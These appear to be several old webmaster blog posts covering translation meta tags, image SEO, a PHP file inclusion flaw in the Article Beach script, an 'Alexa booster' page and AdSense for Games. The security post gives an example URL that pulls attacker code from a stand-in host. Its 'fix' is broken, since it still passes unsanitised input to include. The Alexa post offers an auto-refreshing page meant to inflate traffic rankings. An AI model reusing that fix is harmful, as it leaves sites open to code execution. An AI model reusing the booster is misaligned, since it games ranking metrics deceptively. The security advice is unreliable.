Most people only write in one or two languages. That means that there are all of those people who cannot read your content - There is something you can do about it, and it is a pretty old feature but they’ve recently updated some of the features for Webmasters.

You’ve probably already heard of Google Translator. There is an option to “Translate My Page” which you can put on your website. This way, your users can translate your content into whatever language they want - Saving you the time of having to translate it all yourself. They have added some more features though.

In some places on your content, you may not want parts of it to be translated. Now, you can stop content in a HTML element from being translated by using the following code:

class=”notranslate”

You would just put that into something like a span code and it should stop it from being translated. However, if you wanted a whole page not to be translated, you would use the following code:

<meta name=”google” value=”notranslate”>

If you put that code in the head where the rest of the Meta Tags then you’ll see the whole page won’t be translated.

The one problem with this is that it obviously cannot translate text that are put into images. I doubt this will be something they will work on, so if you want to translate text from your images, you’ll unfortunately need to do this yourself.

This is only going to be a short post, but there are some people who want to get their images indexed for the Google Image Search. Although the Image Search doesn’t get near the amount of searches the Web Search does, it should still bring some traffic if you rank in the top positions. It won’t help if your images are on Page 3 or Page 4 whereas rankings on Page 3 or Page 4 would probably be good on Web Search for some keywords.

Obviously, to get Google to index and rank your images you’ll need Google to find your images first. This means using them on your web pages or on other websites. This should allow them to find the image, pretty much the same as it does for a backlink.

One thing that Google needs to see if you want images to rank is Alt and possibly Title tags. This is because Google itself cannot read images or detect what its about, so it relies on these tags to find out. If you use your images on your website, you should try to use Alt and Title tags all the time. It’s pretty easy to do, just use the following code:

<img src=”LINK_TO_IMAGE.jpg” alt=”Small Description of Image” title=”Image of IMAGE” />

The alt tag is what is shown when the image can’t be displayed or can’t be found and its also used by Google to find out what the image is about. The title tag is what is shown when you hover over the image, a small box appears and shows the text. This is helpful for users.

In conclusion, it isn’t that difficult to get your images indexed, you just need to use correct HTML and use the images around as much as possible.

Article Beach is a popular script used on Article Directories. Although there isn’t much updates for it and there isn’t many templates or mods for it, it still is a good script to use. One problem with it though is that there is a very silly Security Problem in it. Anyone could easily execute PHP code from your site, they could do anything they wanted. This is probably the major flaw in the script.

Luckily, this short post will tell you how to quickly fix this Security issue.

First, open up your index.php file.

Find this code:

else
{
include($_GET["page"].”.php”);
}

This is the code that is the problem. It grabs the file from a GET variable and executes it. That means anyone could just go to http://www.yourarticledirectory.com/index.php?page=http://www.attackers-website.com/malicious-code.txt and then it would execute the code in the text file.

This is just a small fix for it. Replace that code with the following:

else
{
if (file_exists($_SERVER["root"].”".$_GET["page"].”.php”
) == 1) {  include $_GET["page"].”.php”
; }
}

What this code does is it checks if the file exists in the root directory of your article directory first. This should solve the problem because obviously there won’t be a file called http://www.url.com/code.txt in your root directory, so it shouldn’t be able to execute.

Then just save the file, upload it and that major Security flaw should now be solved.

This code isn’t recommended to use but a lot of people have reported that it does work. I haven’t personally tested it. The steps you need to take are:

1) Create a new HTML file. You can call it whatever you want - I recommend alexa.html. Put the following code in the file:

<html>
<head>
<title>Smart Alexa Booster</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<META HTTP-EQUIV="REFRESH" CONTENT="2">
</head>

<body bgcolor="#FFFFFF">
<p><font face="Arial, Helvetica, sans-serif" size="-1"><b><font size="4">ALEXA
  TEST PAGE<br>
  </font></b></font></p>
<p><font face="Arial, Helvetica, sans-serif" size="-1"><b><font size="4">IMPORTANT
  - Let This Page Run For 15 Minutes Or More Daily Until The Test Is Done. <br>
  <br>

  Bookmark (ADD TO FAVORITES) - This Page to see the results Update Daily.<br>
  <br>
  If You Haven't Done So, Please Install The Alexa Tool Bar by clicking this link.<br>
  <a href="http://download.alexa.com/index.cgi?p=" target="_blank">http://download.alexa.com/index.cgi?p=</a></font></b></font></p>
<p><font face="Arial, Helvetica, sans-serif" size="-1"><b><font size="4"><br>
  <font color="#CC0000">Try And Test For 1 Month Minimum For best results :)</font></font></b></font></p>
<p><font face="Arial, Helvetica, sans-serif" size="-1"><b><font size="4" color="#CC0000">We
  hope to take that 1 Test Member to the movers and shakers page on Alexa.com<br>

  which will be seen by MILLIONS of Internet users! If the site hits the movers
  and shakers, you could become <br>
  the next Internet millionaire depending on your product that you are selling!
  Good Luck and thank you!</font><font size="4"><br>
  <br>
  </font></b></font></p>
<p> <font face="Arial, Helvetica, sans-serif" size="-1">
  <script type='text/javascript' language='JavaScript' src='http://xsltcache.alexa.com/traffic_graph/js/g/c/3m?&u=www.example.com'></script>
  <br>

  <br>

  <br>
  <br>
  <b><font color="#000066">START OF TEST</font></b><font color="#000066">: <STARTING DATE><br>
  Ranking - <YOUR ALEXA AT START> Most Viewed Site in The World<br>

  <br>

<br><br>
<SCRIPT type='text/javascript' language='JavaScript' src='http://xslt.alexa.com/site_stats/js/s/a?url=www.example.com'></SCRIPT>
  <br>
  <br>
  <br>
  <br>

  <br>

  </font></font></p>
</body>

</html>

Then change the www.example.com to your URL. Then upload the file into the public area of your website so you can access the page through a Web Browser. Now, go to the page in a browser and you should have some graphs shown about your site, and the page being refreshed every 2 seconds. Keep this running for as long as possible. Make sure that you have the Alexa Toolbar installed or it won’t work.

The more IP’s that run it the better, so try to get friends to run that page too (With the Alexa Toolbar). Overtime, you should notice a significant difference.

Google have been developing this idea for over a year now. Although the in-game advertising marketing is relatively small (According to statistics, $1 billion was spent on in-game advertising last year, in 2007). Google have been working on the idea since 2007 and are now going to be starting to release it to publishers.

Luckily for Google, Mochi Media, a very large in-game advertising company, have given Google access to their inventory. This means that Google will already have a large selection of advertisements for publishers to start from. Very clever of Google to arrange this.

The advertising will work like ordinary Google advertisements. Advertisers will be able to bid on spots in specific game genres or even specific games, and they have an “auction” like on Google Adwords now to get the top spots. The revenue will work on a CPM and a CPC basis. Advertisements might not work as well on click basis so I can imagine there will be a lot of advertisers on impressions.

Several large companies have been testing the Adsense for Games for quite a while. Soon us publishers and advertisers will have access to it, and test.

The majority of advertisers will more than likely be Gaming sites, for obvious reasons. It wouldn’t make much sense for a Web Hosting Company or a Health site to advertise in the middle of a game, it wouldn’t have much of an effect.

One of the key things we should think about with Adsense for Games is the end user - The person playing the games. I’m sure they would be quite annoyed if advertisements started showing in games when there is already enough advertisements on actual Web Pages. There are a lot of Ad Blockers released, mainly for Firefox, but will they be able to block the advertisements in games? Probably not.

We will have to see how Google handle this, and if Adsense for Games is a success.